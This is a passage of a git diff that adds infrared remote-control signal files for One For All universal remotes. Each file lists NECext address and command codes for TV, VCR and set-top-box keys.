+command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: multi +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir new file mode 100644 index 000000000..2c8b39139 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir new file mode 100644 index 000000000..f379a8fb7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 75 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir new file mode 100644 index 000000000..79f44cd73 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 28 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 2C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 2D 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 2E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 53 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 57 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 94 00 00 00 +# +name: AV(bad) +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 96 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 97 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 44 00 00 00 +command: C0 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 44 00 00 00 +command: C1 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 44 00 00 00 +command: C2 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 44 00 00 00 +command: C5 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D0 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D1 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D2 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D3 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D4 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D5 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D6 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D7 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: EB 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 44 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir new file mode 100644 index 000000000..ef3957497 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: aus +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: rot +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: grun +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: gelb +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: blau +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir new file mode 100644 index 000000000..a3611f652 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 04 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 06 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 07 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0D 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 42 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 47 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 49 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir new file mode 100644 index 000000000..b3ae5b8f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: Pip +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: SkipAhead +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 59 00 00 00 +# +name: TvVid +type: parsed +protocol: NECext +address: 07 00 00 00 +command: A3 00 00 00 +# +name: Swap +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C3 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: F4 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir new file mode 100644 index 000000000..43beaa771 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 49 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 4A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 4C 00 00 00 +# +name: AUDIO/CC +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 4F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 50 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 54 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 56 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 56 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 57 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 57 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 58 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 59 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 5A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 5F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 